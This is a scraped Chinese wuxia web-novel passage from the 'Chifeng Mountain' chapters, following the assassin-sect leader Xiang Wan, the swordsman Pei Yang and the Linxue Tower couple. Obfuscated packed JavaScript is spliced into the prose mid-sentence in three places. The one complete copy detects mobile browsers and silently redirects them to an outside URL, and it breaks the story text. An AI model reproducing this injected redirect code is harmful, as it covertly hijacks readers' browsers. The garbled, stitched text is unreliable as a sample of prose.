暗室的石门封死,黑暗吞噬一切希望,却吞噬不掉惨叫与哭喊,大雨连下三日,镇国公梁家的屠杀也持续了三日,血水混着雨水,泡烂了木板,直到雨停,堆积成山的尸首被清出梁府,亲兵奉命放起一把大火,朽烂的木头在黑烟滚滚之间化为黑碳,火烧三日,暗室塌毁,一切的一切,终于化作劫灰。 惊雷骤起,终于将向晚的神志拉回,她失焦的视线在男人脸上凝聚成点,男人的耐心倒是颇好,他仍在瞧着那玉符上的龙纹,指腹按在血珀上捻转,竟像是在怀念旧物。 向晚皱起眉,竟无端对此人的身份有了猜测。 像是看够了,男人终于抬起头,仍是慢条斯理道: “没忘最好,我还当是赤峰山一事过了,见了太多的不甘,倒叫你放下仇恨,清心寡欲地过起行侠仗义的好日子来了。” 向晚抬了抬头,她敏锐地察觉到自己兴许是受了这男人的监视,于是仍是按兵不动,装哑巴。 男人不满于她的沉默,竟伸手捏起了向晚的下巴,迫使人抬起头来,直视自己,他拧眉道: “先前看你和那个什么天下第一在一道的时候,没见你如此寡言少语,怎的?提了旧事,装上失忆了?” 向晚移开目光,挣开男人的手,仍是不咸不淡道: “过往重重我自然不会忘记,往后之事,我待要如何,又与你何干呢。” 听了这话,男人方才眯了眯眼,果真如他所料,这堂堂镇国公家的女儿他幼时也见过几面,自小便是胆识过人的,自不会罢休,他于是勾唇道: “如此甚好,那你也还算是堪为我所用之人。” 他把玩着手里的玉符,那上面的龙衔血珀熠熠生光,接着道: “既如此,你我二人同绳共命,我今日不会杀你,从此以后,你除了为我所用,别无选择。” 向晚冷笑: “我不会为人所用,也永远不会别无选择。” “是么?” 男人面上带着毫无温度的笑意,他将向晚瞧了好一会,才缓声道: “那劫灰引,是彦荷潜心钻研多年,方才拿出的得意之作,劫火洞然,大千俱坏[1],此等末劫余灰入体,起初如檀香沉雅,待有所察觉,气海已成焦土,冠脉闭锁,郁结于胸,有如焚心之痛,你以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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她再抬头看去,江既为已消失在夜色之间,雨势轰鸣,独留她一人站在寂然的木林之间,向晚微微抬头,雨丝割在脸上,手里的春去也刀柄冰冷,凉彻了她的身骨。 她忽然觉得茫然,心底空荡,站了不知道多久,才想起迈步,朝林外走去。 林子里的小路弯弯绕绕,但好在不至于迷路,大雨倾盆落下,向晚衣衫尽湿,吸了水的布料贴在身上,拖得她的脚步更加沉重。 她就这么走下去,直到林子边缘,树影之间一片闪烁,长剑的寒光在幽暗的夜里亮得刺目,她只来得及顿住脚步,便见一道人影飘然落下,定睛看去,正是方才被她丢在那土匪窝的裴央。 当真是阴魂不散。 她心里无端厌烦,站定不动,任由那人的剑指向自己的喉咙,再听人言之凿凿道: “赤峰山的惨案,是你师徒二人所为?” 裴央怒意正盛,他的剑锋利笔直,雨珠碎在剑刃上,化作水流,再滴在地面,向晚默然,瞧着这剑看了许久,她偏过头,用手指拨开剑尖,淡然道: “那又如何?” 这般回答彻底激怒了裴央,他原也只是恼怒,却不想这人如此不知悔改,他长剑一凛,细碎的水珠皆随着震声而起,他低声喝到: “死有余辜!” 向晚一滞。 待回过神,只觉左肩一阵猛烈的痛意,原是那剑忽而改了路,剑尖刺入了她的肩膀。 血色瞬间在她的衣衫上洇开,她的思绪有一瞬间的错轨,疑惑自己因何会觉得迟疑。 因那句咒骂的话? 她来不及细想,剑光已再至喉间,她只得一个拧身,足下使力,运起轻功,向后退却三步。 裴央的剑向来干脆利落,饶是向晚退了,脖颈上仍划出了一道血线,那剑尖又是一挑,不偏不倚,正向她喉间刺去。 11. 赤峰山(十一) 剑将封喉,向晚此番不再犹豫,接连几个撤步,向身后的林中隐去。 点步侧目之时,她的目光骤然撞进裴央的双眼,那黑沉沉的眼中的冷意与决然仿佛刀刃,叫她心下一颤,只幸好林木生得密集,此时又偏逢落雨,雨滴溅在湿软的泥地上,腾起薄薄的水雾,掩人视线。 哪怕中了劫灰引,向晚轻功还是了得,在此天时地利之时,才能堪堪甩开裴央,她在林中奔逃了不知多久,才隐隐又见到林子的边缘,见身后终于没了旁人的声息,方才背靠大树,好好喘了一口气。 雨还在下,裴央将人跟丢了,只好站定,他心中复杂,许是对着人心难测,而觉得心寒,亦或是。 他深喘一口气,脑内无端映出那女孩抱着鹤羽扇,靠在师父身边若有所思的模样,岁月静好,温暖如许,却在这雨中化为了冰冷碎片。 他收剑入鞘,缘着泥泞小路向白杏村而去,夜色沉重,道路两边已是行人寥寥,他阴沉着脸,一口气走到了白杏村的客栈,待坐定了,才将身上的背囊解下。 这背囊里还备着打算喂给女孩的一应吃食,那布袋外裹了层防雨的油布,正稀稀拉拉地向下滴着水,可解了布袋,内里的吃食还是皆被水泡坏了。 裴央将这些淋了水的各色糕饼点心都一应摆在木桌上,他愈是整理,面上也愈是阴雨交加,瞧他这幅好似地府阎王爷的模样,客栈的小厮立在一旁踌躇不敢上前。 这位大爷打眼一瞧便是个不好惹的主,将那堆泡了水的吃食垒在桌上,好像个喋喋不休的怨妇,在细数自己遭人辜负的铁证,小厮端着小心,喘了口气,低声开口: “客官,这是打尖还是住店。” 裴央长出一口浊气,抚掌道: “且上一壶最烈的酒来。” 他到底年纪轻,自金临舍了富贵,一匹青马便踏遍江湖,才刚打下了名声就叫他遇见个如此百里挑一歹毒恶人,他一时迟疑,竟叫她逃了,此番游鱼入海,再想抓她怕是难上加难。 冷酒入喉,烧燎的热意自喉咙向下,裴央深吸一口气,愤恨与懊悔自是充斥心胸,只是除此之外,他却格外觉得心中不畅,恼着一股气将面前的吃食分作两堆,又将那些没被泡水的进补之物皆收拾好了,方才咂出滋味。 他尤是怨这向阁主如此轻易地欺瞒自己。 虽说欺骗也实属是恶行一件,但裴央又左右觉得此事不比以往,可想来想去,到底发觉,兴许并非是事不同。 而是人不同。 门外雨声轰鸣,阶下的雨水漫过长街,他将面前的冷酒喝尽,暗做打算,待明日天晴,要先去临雪楼打探一二,也好追踪那向晚的动向,且如若是事有冤屈...... 说到底,他与这向阁主不过才相识几日,裴央捏着酒盏若有所思。 却也不知为何,他反而更希望此事另有隐情。 —————————— 向晚靠在树上,喘了好久,才叫内里的气息平和下来,她抬手抚过额前的雨水,春日尚早,林间幽森又下起大雨,不免叫人愈发觉得寒冷。 她身上的衣袍单薄,无奈叹气,到底站定了,开始做接下来的打算。 既然方才那江既为言辞之间,是认识彦荷的,那想来前几日赤峰山血案重现一事,定是二人一同谋划的,说不得那临雪楼楼主所说的,林渊楼新来的那位幕僚,也同样是他。 江既为临走之时,没有言明到底要做什么事,才会给自己解药,只留下了一句听候差遣,这倒确实像是皇宫里养出来的怪脾气。 而今彦荷不知所踪,无迹可寻,江既为的话云里雾里,不堪托付,且有那正气逼人的裴大侠,想必一朝失手,必是憾恨交加,不等几日便会卷土重来,于是纵观当下,向晚身上这毒确是十二般的棘手。 她当然不会坐以待毙,况且与其流落在外,倒不如缩回自己的老家安全,算算脚程,自这后山绕过白杏村,趁夜色行个半个时辰,便能到下一家村落住店,饶是身上带伤,在天亮前也能安置下来了。 她料想裴央若是客宿,必会宿在白杏村,于是便打定主意,当下便向着邻村而去了。 旁的江湖门派,大多都建在深林高山之间,而梧桐阁却不一般,梧桐阁选址在晋州郾城内,是从前师父买下的一座偌大的场院,场院内栽满了青松翠柏,四季常青,梧桐阁依傍集市而建,且又入口隐秘,外人瞧去只当是哪家哪户包下的私人花园,是绝想不到这里头藏着个江湖势力的。 这雨下了一整夜,转天便雨过天晴,向晚将身上的伤做了个简单的包扎,便买了客栈的马,纵马向北,约莫半日,便到了晋州郾城脚下,时至晌午,街面上还是络绎不绝,集市里商户叫卖,好不热闹。 她将马匹卖给马行,换了些银钱,便在这街市上漫不经心地闲逛起来,正值饭点,街上各色香气是鱼龙混杂,她挑挑拣拣了好一会,才在一家馅饼摊子前停住了脚步。 这家只做牛肉馅饼,摊主是个三十往上的朴实男人,馅饼是现做的,一旁的铁锅里还整烙着几个油滋滋的饼子,而那男人正搅和着一盆红白相间的牛肉馅,撒一把翠绿的葱花,见向晚靠前,却也不叫卖,只无言一笑。 待四下无人,向晚自摊位上挑了个长相顺溜的饼子,拿在手里,一分银钱不给,也只无言一笑,转头便走。 她捏着这热气腾腾的饼,肉馅的荤油渗透饼皮,也透过了裹着饼子的这层油纸,她捧着吹了好几口气,才小心地咬破酥香的饼皮,露出褐色的牛肉馅来,香味四溢,再一口下去,牛肉鲜甜的油脂溢了满口,烫的人不住呵气。 直到吃了大半个饼子,她方才觉得有了些气力,暖意自胃部淌向周身,雨过天晴的阳光格外温暖,晒得人很是舒服。 倒也不是她当真作恶多端,只是这摊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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结果事到如今,不仅拿着暗号的人记不清楚,听着暗号开门的人也是马马虎虎,改进的进不来,不该进的也进不来,这梧桐阁上下,当真安全得如铁桶一般了。 她于是烦躁地挥了挥手,却也不大愿意同孟客提一提,改一改这规矩,她往日里出门在外,皆有劳孟客在阁内打理,一针一线,井井有条,于是这些个微末处的不如意,倒也睁一只眼闭一只眼便罢了。 只是苦了这看门人。 进了门,门内仍是蜿蜒的羊肠小路,只是周围栽满了林木香草。 向晚轻车熟路地往里走,她选的路偏,遇见的人自也少,来去都是些熟面孔,见了向晚也都是面无表情,但会十分尊敬地欠身行礼,之后便是一副翻脸不认人的冷面孔,向晚不禁咋舌,这在孟客的调教下,一好好的杀手组织都快让他给带成殡葬一条龙了,这要是以后出任务的时候,个个都把“我来给你送终”几个大字写在脸上,和江湖上那些个一流二流三流的杀手组织都混成一个样儿了,毫无新意。 她刚打定主意要好好和孟客谈一谈这事关阁内发展的大事,就见迎面走来了一个长着娃娃脸的面容清秀的高挑男子,瞧着面生,两人视线刚一碰上,那娃娃脸便面色一凛,眉毛一皱,随即自身侧唰地抽出一柄长剑,直朝着向晚刺来。 12. 赤峰山(十二) 向晚大喜,终于有个不是棺材脸的了。 男子出剑速度很快,看得出功夫不错,这一招利落非凡,毫不拖泥带水。 向晚欣欣然,果然后生可畏。 她快乐地侧身闪避,在娃娃脸面露惊愕的空隙抽刀拨了一下那长剑的剑锋,哪料到那娃娃脸的武功底蕴比看上去还要更深不可测一些,当下顺着转了剑尖,又朝向晚刺去。 向晚狂喜,更是跃跃欲试,此时也全然不顾自己那一身的伤了,调转了刀锋又去挡那剑尖,还未碰上,就被一道更凛冽的剑气逼停,自中间横插而来,硬生生地截停了正要交锋的两人。 抬眼看去,正是孟客,那娃娃脸一见来人,便快速收回了剑,规规矩矩地鞠躬,道了一声: “副阁主好。” 孟客没做理会,收剑转身,冲着向晚行礼: “阁主回来了。” 见向晚点了头,这才冷着脸转头,阴着声音道: “这位是梧桐阁的阁主,你与阁主拔剑,是不想活了么?” 娃娃脸闻言一怔,却仍是不着痕迹,只朝着向晚弯腰又低了几度,语调平静地说了声,请阁主大人恕罪。 向晚等了半天,十分失望地发现,没了后续了。 按照常规道理来讲,不是该走一套诚惶诚恐,痛哭流涕,可怜巴巴,悔不当初的流程吗。 大概是孟客察觉到了向晚的失望,继续冷声道: “去千机堂领罚,近期不用出现在这里了。” 千机堂?向晚一脸茫然。这是我梧桐阁的地方? 眼看那娃娃脸就要行礼离开了,她连忙出声问道: “慢着,什么千机堂?” 孟客躬身: “阁主,千机堂是我在梧桐阁设立的惩罚机构,陈列各式刑具毒药,专为惩罚那些坏了规矩和任务失败的人,其中有不少刑具还是出自您手的。” 惩罚机构?果然越来越像话本子里那些个邪魔暴戾反派盘踞的阴暗巢穴了,连惨无人道,专为苛待下属的而设立机构都应运而起了。 她这么想着,一阵头痛,弱弱地问起了罪恶的根源: “咱们梧桐阁,是什么时候有了什么惩罚条例了?” 孟客面不改色,毫不心虚,答道: “阁主,是我设立的,为了纪律严明,便于管理。” 向晚更头痛了,她挥了挥手,道: “不必设立那些个条条框框了,梧桐阁本来也不是什么规矩地方,那都没什么必要。” 孟客点点头,也不知是听没听进去,他面不改色,毫不意外,应道: “是。都听阁主的。” 向晚也懒得管了,转头看向那一脸蛮横的娃娃脸,这样刁蛮的表情配上他清秀的五官和圆乎乎的脸蛋,是一点不意外的违和,向晚看着有意思,便问他名字。 “姓伍,名仁苏。” “伍仁苏?” 向晚默然,心想这人违和虽违和,但单看名字,倒是多了几分亲切。 孟客自打看见向晚便瞧出来她不仅伤势不轻,而且包扎潦草,并且深切地体察到了当事人毫不在意自己身体甚至还想活蹦乱跳地比划两下不良企图,此刻便不露声色地想将人尽快带到梧桐阁,以便赶紧给配一副好药。 更何况,这些天他总是跑去找华礼,两人一毒一医,对向晚身上那毒的拿捏是颇有进展,两人研究了许多天,七拼八凑到底是配出了一副药,盼星星盼月亮的,终于等到了向晚,如今见了她,就差眼冒绿光,抓过来按住试药了。 孟客那跃跃欲试的意图,是全都写进了他那双波澜不惊的眼睛里了,向晚瞧着平素里一潭死水般的人,如今双眼冒光,当下心觉不安,求生的本能让她毫不犹豫地拉上了伍仁苏。 三人顺着侧院的小路向前走,梧桐阁内部弯弯绕绕,曲折间倒是硬能看出些掩映的趣味来,向晚走着,又问伍仁苏: “来梧桐阁几年了?” “两年。” “杀过人没有?” “没。” 伍仁苏的回答简略而恭敬,实在是个知礼的好青年。 话音刚落,那伍仁苏便抬起头气呼呼地瞪了一眼走在前面的孟客的背影,恶狠狠地凶道: “还不是那混蛋不让我接任务,说什么我资历尚浅,狗屁!” ? 就走在前面的孟客一副见怪不怪的样子,置若罔闻,毫无反应。 向晚很诧异,孟客那可是出了名的棺材脾气,再转过头看着伍仁苏那张气鼓鼓的娃娃脸,突然觉得很幻灭。 伍仁苏恶声恶气地骂完,又侧首看向晚,凉凉地开口道: “阁主大人,不会也是这么认为的吧。” 大有若是向晚敢点头称是,就要扑过来一口骂死她的威胁意味。 但她向晚是何许人也,她切瓜砍菜的时候,那些什么伍仁苏,核桃酥,杏仁奶黄酥的,还都没进梧桐阁呢,更何谈资历,她岂能怕了这样的人,于是她冷笑一声,道: “自然不是。是孟客他欠考虑了。” 那炸毛的伍仁苏这才顺了毛,呼噜噜呼噜噜地转回了头。 马不停蹄地奔波了足足一上午,裴央在临近正午的时候终于纵马赶到了雪容山。 这雪容山,即是临雪楼所在的山,山上常年积雪不化,而临雪楼,正是临倚着这皑皑白雪而建的,临雪楼楼主度长风自诩饱读诗书,颇喜爱些诗词画意的,所以特意选了个天气晴朗的日子,在雪天地滑的山路上如履薄冰地踱步了一上午,这才拟定了临雪楼这么个好名字。 拟好了临雪楼,又顿觉心中恣意畅快,才思泉涌,遂捎带脚连着这山的名字也一并改了,雪容山原先是叫柘山的,如今度楼主取的“雪容”二字,即用的“雪融”的音义,寓意雪融春来的繁盛景象。 临雪楼建在半山腰,因为楼主夫人说山顶太冷。临雪楼楼主的居所在这半山腰上地势最低的地方,因为楼主夫人说爬楼梯太累。那居所背靠一处刀劈斧刻般的笔直悬崖,因为楼主夫人说,这样的地势才易守难攻。 于是,临雪楼楼主就居住在雪容山的半山腰,临着悬崖峭壁易守难攻的那一侧,每日里清晨,迎着来自东南西北的凛冽的晨风醒来,每日里上午,再迎着来自西北东南的刺骨的寒风习剑练武,每日里傍晚,又迎着来自南北东西的猖獗的晚风共进晚餐,天天吹来吹去,好不肆意潇洒。 裴央是素来与临雪楼楼主交好的,自然与临雪楼内的门人相熟,不多时便由人引着到了度楼主的住处,正是正午,度楼主与夫人正在用饭,一桌琳琅,桌子正当中摆着个泛着油花的红烧肘子,可是诱人极了。 度长风见了裴央自是喜笑颜开,江湖人士向来是讲义气,当下,倒酒邀坐备碗筷,一套动作行云流水,须臾片刻间,几片酱红色的红烧肘子已经躺在了裴央眼前的小白瓷碟里。 裴央此番有要事要讲,自然是无心顾忌碟子里那火候把控,烧制手法都极妙的肘子,只推杯一盏,酒杯撂下便开门见山道: “那梧桐阁的向阁主,不知度楼主可还记得?先前还听你对她的评价还不错,前些日子我和她相处了几天,才能看清她的真面目,此人必是个虚伪阴险的,应当尽快除之,绝不能再轻信她。” 度长风正嚼着块青笋,只含糊听见了向晚两个字,当下回忆起先前在醉月楼,那向晚出言调戏自家夫人的事情来,又想起夫人竟然说自己还不如那向晚好看,立时生起了气,转而又略略听了一耳朵什么虚伪阴险,立马提起精神,满面肃然,吞下嘴里的笋肯定道: “裴兄弟所言极是,那向晚绝不是什么好玩意。” 旁边的楼主夫人岳然诺,一面吃着,一面也细细听着,听到自家夫君正一脸正义地胡说八道,当下便坐不住了,撂下筷子便道: “胡言乱语,向姑娘人美心善,素好劫富济贫的,哪里是什么虚伪阴险的小人。” 裴央闻言皱眉,想了想,尽管赤峰山的事实残忍可怖,但还是决定应该告诉楼主夫人: “岳夫人不知道,当年赤峰山那惨案,血洗近百人,杀人的不是别人,正是那向晚师徒,她如此残暴嗜血,能是什么劫富济贫的好人。” 度长风握着筷子,马上跟着附和: “裴兄弟说的一点不错,如此残暴,简直就是个魔女,再之前我与夫人遇见她的时候,她还曾对夫人出言不逊,实在应当立速除之,还江湖一个清净。” 岳然诺在一边瞪大了眼睛,看着此二人你来我往,胡扯的是好不和谐,当下火气上涌,伸手一把扯过自己夫君的耳朵,怒道: “裴大侠年纪尚轻,所以不明所以,你个知道的跟着凑什么热闹?” 被扯过去的度楼主慌忙扶住桌子,这才不至于被拽下凳子,才刚稳住身形,耳尖传来的钝痛就不禁让他倒抽一口凉气,想也没想便软下语气讨饶: “夫人手劲太大了,有话好好说,好好说成不成。” 岳然诺不愧为女中豪杰,正在气头上便什么也顾不上了,只在侧目的时候看着了坐在旁边眨巴着眼睛一言不发的裴央,方才听见自己内心深处一个微弱如蚊蝇的声音,那个声音是如此嚷的: “为人妻定要做到贤良端庄,温婉可人,最起码在外要给足夫君的面子!” 于是,她当即松手,进入了自己的角色,冲着自家正揉着耳尖的夫君莞尔一笑。 裴央瞧完了这套戏段子般的场面,颇有感慨,大约是自己的确年纪尚轻,不太懂那些个情情爱爱,更不用说夫妻间的相处之道了,不过此刻若有第四人能挪出空瞧瞧他的脸色,兴许就能看出来,裴大侠也算是早便习以为常了。 温良端庄岳然诺笑的如沐春风,她耐下性子来解释道: “裴大侠到底还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15230175|165643||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是年轻,许多老旧的往事不知道,当年赤峰山的事情的确是梧桐阁的向姑娘和她的师父山明先生所为,但事情的真相绝不是面上看着的那般,而是另有隐情。” 立场坚定度长风是自打一开始就全然没有意识到自己被夫人下了面子,只是瞧着夫人自女中豪杰又变成了小鸟依人,是越看越欢喜,欢喜之余还不忘重申自己的立场: “夫人说的一点不错,这里面的确有裴兄弟你不知道的。” 裴央兀自感叹,爱情竟能让人立场游移,可怕可怕。 不过这对夫妇说的话,还是让他十分在意的,二人不似玩笑,而临雪楼的消息可靠性自也不言而喻,他不免又怀疑起了自己,难不成真是自己污蔑了好人。 岳然诺左右斟酌,倒不知如何开口了,她侧头斜了度楼主一眼,把这个烫手山芋扔了过去。 度楼主领会其意,组织了一下语言,自山明先生还在走街串巷,治疗头疼脑热吃饱了撑的下不来炕的那时候讲起,一直讲到了向晚师祖的弥留之言。 当年,山明先生闭关整一年,冥思苦想,想的却不是如何血洗这江湖,而是,如何能想出个万全的法子。 既能全了师祖遗愿,又不至于滥杀无辜的万全的法子。 于是,当年赤峰山死的那近百人,并非什么江湖上的仁人义士,更不是良民百姓,反而皆是些小人恶霸,山匪强盗,不偏不倚,那近百人,皆是如此。 雨落血梅诱惑之大,千千万人争相往矣,可偏那山明先生收徒又刁钻异常,非恶人不收,非奸佞小人不收,要真是个为祸一方的山匪强盗,那自是极其满足要求的,需要夹道欢迎的那种,那一届似乎只除了向晚这个不知道哪里捡回来的小孩儿,剩下的那满门恶霸,浩浩汤汤,每日练起功来,剑拔弩张之势,比过除夕火药味儿还重。 向晚的拜师生涯,大半便是在这日日过除夕的赤峰山上度过的。 山明先生好打算,收够了徒弟就藏得好好的,免得被那些个正派一窝端了,只打算着待时候足了,让这些个恶人自相残杀,只留一人,若是个还算良善的,比如向晚,便倾囊相授,可若是个奸邪恶毒的,那便杀了,就是了。 所以那些人一个挨一个走进赤峰山的山穴里,被告知只有活着走出山穴的那一人,才能得到真传后,也只是稍一愣怔,便毫不犹豫地抽刀砍向了离自己最近的人。 或者是昨天分自己包子的师姐,要不就是前天跳桩子还输给自己三两钱的小师弟,管他是谁。 所以,赤峰山血案虽是屠杀不假,可若说是一次针对恶人的大清扫,也十分恰当。 裴央听得愣怔,他那时候年纪尚轻,好些个事都是后来道听途说的,单只想着近百条人命的死状惨烈,却是全然没能想到,此事还另有隐情。 岳然诺听着满意,便随口又补充了几句,顺便彻底坐实了裴央冤枉好人的罪名: “那山明先生与向姑娘向来是处事低调的,老先生更是仁善之人,虽说是除了恶人,可到底是人命,老先生心中有愧,故而早便归隐,潜心修习,而向姑娘,是个不好名利来往的,自也没去逢人辩解,当年雨落血梅一事本就是江湖各派的不光彩,也许是当年知道真相的人还在少数吧,传到如今,竟到了遭人误解的地步,唉。” 此话说完,还不忘针对性的再补一刀: “裴大侠这是,彻底冤枉向姑娘了。” 她侧着头回忆,又想起了女孩那女扮男装的俏丽模样,实在是可亲的很,只一点她觉着可惜: “如此可亲的一个小姑娘,天下武功众多,怎就偏偏学了雨落血梅呢,到底是残忍嗜血了些啊。” 裴央在一旁听着尤感愧疚,岳然诺这一番话也道出了他的疑惑,他于是追问道: “向姑娘家,之前是做什么的?” “不知道。临雪楼也查不到。她像是山明先生凭空冒出来的徒弟,那么小的年纪,混在一群恶匪里,生生杀出一条血路。” 连临雪楼也查不到的消息,裴央倒有些意料之外了,转而又想到向晚那瘦小的身影,那年的她那么小,面对的人却都是杀人如麻,无恶不作的,心里的愧意顿时滔天而起,那日雨夜,自己险些杀了她,她一个人拖着一身的伤,该是如何挨过那泼天大雨的夜晚啊。 他越想越是懊恼,眉头紧锁,坐在一边的度长风瞧见了,便心中有数,他拾起筷子又夹了一块青笋,一边嚼一边漫不经心地说道: “裴兄弟也不必忧心,那小姑娘最是不在乎这些的,不会因此就与你结仇的,更何况,这向阁主是最喜欢容貌端丽的人的,你如此风流倜傥,她肯定是欢喜还来不及,怎么舍得和你结仇呢?” 他顿了顿,还未等裴央接着懊悔,便急忙道: “你此番来得正是时候,我临雪楼且有一事要请你帮忙,正急在火上,可巧你便来了。倒省得我派人去寻你了。” 13. 赤峰山(十三) 度楼主顿了顿,接着道: “几日前,临雪楼收拢到了金临来的一些消息,很是奇怪,大约是,金临今日一连生了几起人命案子,死的人皆是朝堂之上的官老爷,本来并非江湖事也不该与我们想干,只是......” 度楼主皱眉,显然他也想不通这个中缘由: “只是,有人瞧见了,说杀人的都是临雪楼的人。” “必不能是我们临雪楼的,但此事事关重大,长风怕其背后会多有牵扯,于是我们夫妇二人便打算要亲自去京都一探究竟。” 夫人急忙接道。 “临雪楼情报广达,但武功高强的却不多,我与你们一道吧。” 裴央闻言点头道。 度长风松开牵着夫人的手,也跟着笑了: “正是有这个顾虑,夫人与我特去麻烦了你师父,找他借了你这么个人来。老先生慷慨非常,送烫手山芋一般就把你扔给我们了。” 几人都跟着展颜欢笑,是以天朗气清,窗外正是刮得不知道哪的风,汹涌凛冽,可漏进屋内的倒是就剩下清风拂面了,大事有所托付,也觉得心安不少,度楼主起身给夫人打了一碗玲珑鱼汤。 鱼汤醇美,天光澄净,万物舒朗,恰得其所,只是若比起红烧蹄髈,都还略有逊色。 —————————— 梧桐阁广大,院落不少,林木栽的尤其多,多是笔直的梧桐,也有不少桃树梨树石榴树的,不为结果,就只为看那一树繁花,摇曳生趣,梧桐阁的人平素里是盯惯了那些个刀尖剑尖的,偶尔得空仰头望一望绿叶,也能让心里更平静些,磨一磨那身上的戾气。 毕竟就算是在梧桐阁,也不是每个人,生来都能做那无情无欲的冷血杀手的。 他们七拐八绕的,眼前渐渐开朗了起来,来往的人也多了些,途经的几处院子里,练拳的练剑的,飞暗器的颠大勺的,甚至还有推牌九的赌蟋蟀的,人群熙攘喧嚣,好不热闹。 孟客走在前面,冷眼瞧着这些人,他越走越慢,见到一处正在赌蟋蟀的院落更是干脆停下来了,脸色阴沉地死盯着着院子里喧嚣吵嚷的人群。 里面的人迅速察觉到不对劲,自门口向内蔓延的低气压让人窒息,他们倒也识趣,吵嚷声一点一点地压下来,两拨人就这么大眼瞪小眼,一时间气氛剑拔弩张。 孟客冷着声音,先开口了: “赌钱不能赌太大,不能闹得鸡飞狗跳,更不能再像上回那般举着外院王大锤的大铁勺满院子追着人砍,明白了吗?若是再犯,就都拖到......” 他深吸一口气,硬生生咽下千机堂三个字,接着冷声道: “都拖到外院子给王大锤洗锅。” 向晚点点头,在心里表达了肯定,此决定十分人道公正。 梧桐阁的管理就是这么的,尤其松散,尽管向晚作为阁主常年不在,梧桐阁由副阁主孟客管理,那也仅是细枝末节的严苛了些,所以在那院子里出现成群结队的一批闲人,是极其极其正常的。 当然,相对的,这批闲人终日游走在外院,自也不知道梧桐阁的中心,和靠近中心住着的那一批人,又在做什么。 江湖之上鲜少人知梧桐阁,知道的也是模模糊糊的了解到是个培养暗卫,训练杀手的江湖组织,总之是个大半个身子隐藏在黑暗阴影里的,最好不要打探的存在。 再往中心走,林木愈加茂盛,如伞如盖,大片大片的树影投映在地上,细碎的天光透过叶缝洒在石板路上,如一地碎金,越走便是越幽静了些,但也仅是幽静,倒也不至于是幽暗。 嘈杂声渐远,院落里来往的渐少,来去的人皆是脚步极轻,无声无息,倒是有些暗卫杀手的样子了。 再往前,几个转弯,林叶相映间只见一块木质的匾额,上书方正三字:“梧桐阁”,匾额下的木门虚掩,推门而入,是一处清寂幽冷的小院子,虽罕有人迹,但并不疏于打理,院落整洁,屋门前的廊上还摆了两盆花草,狭长的叶片碧绿低垂,看得出被人侍弄的很得当。 院里的一切虽是谈不上生机盎然,但也算得上是一派垂死挣扎的积极景象。 除了院子里那唯一的一棵树。 那树枝叶干枯,了无生气,几片蜷曲干瘪的叶片挂在枝梢上,俨然已经枯死了有些时日了。 向晚看看那树,又看看那几盆一息尚存的花,一时心情复杂,叹了口气。 看来孟客是个只会养花,不会养树的。 虽然在她还住在梧桐阁的时候,就已经有两棵树被她亲手送上西天了。 两人看着那枯树,脸色难看,默了半晌,孟客干巴巴地开口道: “阁主,还要再栽吗?” 向晚看着那树,到底是心里难过,她平淡地开口,只说了一个字: “栽。” 孟客在心里叹气,他不太明白自家阁主为何如此执着于种树。 “还是杏树?” “对。杏树。” 第四棵杏树了。 这也是整个梧桐阁里唯一的一棵杏树。 阁主不许在其他地方栽,也不许在这里栽其他的树,不管是在哪个季节栽下的,不知为何都很难熬到来年春天的花开满树,尽管每一棵都被精心照料过,可就是不成,枯了就栽,栽了再枯,长此以往,其繁盛之日,总是遥遥无期。 栽便栽吧。孟客侧头看着向晚,向晚正平静地望着那树,眼里的神采像是熄尽了的火,只剩下闪烁着的余烬。 阁主总有很多不可言说。 他向来是知道的,阁主不说,他也不问。 况且他是个把个人志趣看的太重的人,重比生命,于是倒也释然着理解了,总有人会有些稀奇古怪的小爱好,像自己偏喜好制毒一样。 向晚站在那看了好一会儿,不知道是做了个什么心理建设,还是又制定了个什么精细的培树计划,总之,她想了好一会儿,终于深吸一口气,一言不发地向屋内走去。 屋内已经很久没人住过了,但每日都有人打理。 入门所见不似寻常摆置规整的堂屋那般,向晚这屋子里只有寥寥几件家具,用作装装门面,只偶有几件雕刻精巧的木质工艺品,活灵活现,看得出一些生活的烟火气。 两侧屋堂,一侧有门,一侧无门,无门那侧摆的是好些个直通屋顶的木架子,木架子上垒的皆是宣纸和字帖,满满当当的,多是写过的,也有些还未用的,一整间屋子都是。 有门的那侧,内里还维持着向晚上次离开时的样子,入眼也都是笔啊墨啊的,木案一侧摞着一摞很高的写满了字迹的宣纸,在这笔墨纸砚之间,有一张不甚起眼的床榻。 屋内的一切都是按照向晚的生活习惯布置的,可她看着这熟悉的一切却感受不到什么亲切,只是走过去坐在堂上,看着孟客忙前忙后地去取药。 一旁跟着的伍仁苏是第一次进到阁主的屋子,入门看着这满屋子的书卷气也是结结实实地惊愕了,在此之前他是一直笃定梧桐阁上下学识最高的都是那些个 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“这是一个制毒大师的防备与仁慈,以防我所制毒药落入歹人之手。” 于是在杀敌一千前打算先自损八百?向晚还是不理解。 拔开塞子,一股浓烈的涩苦气息逼得人眯起眼睛,深褐色的药粒浑圆,如米粒大小,挨挨挤挤了小半瓶,服用时一次只需一粒,向晚摊开手掌,瞧着掌心那小小的圆球,也是没想明白这小小一只怎么就能有如此浓烈的药苦气味。 思罢,满不在乎地张口吞下。 舌尖才刚碰上,那药粒便瞬间融化了,一股浓稠猛烈的苦涩刹那席卷口腔,向晚来不及反应,只下意识地睁大了双眼,随后五官都皱在了一块,她忙端起桌上的瓷碗灌水,但那苦味化为无形,肆虐舌面,直达咽喉,仍是摆脱不能。 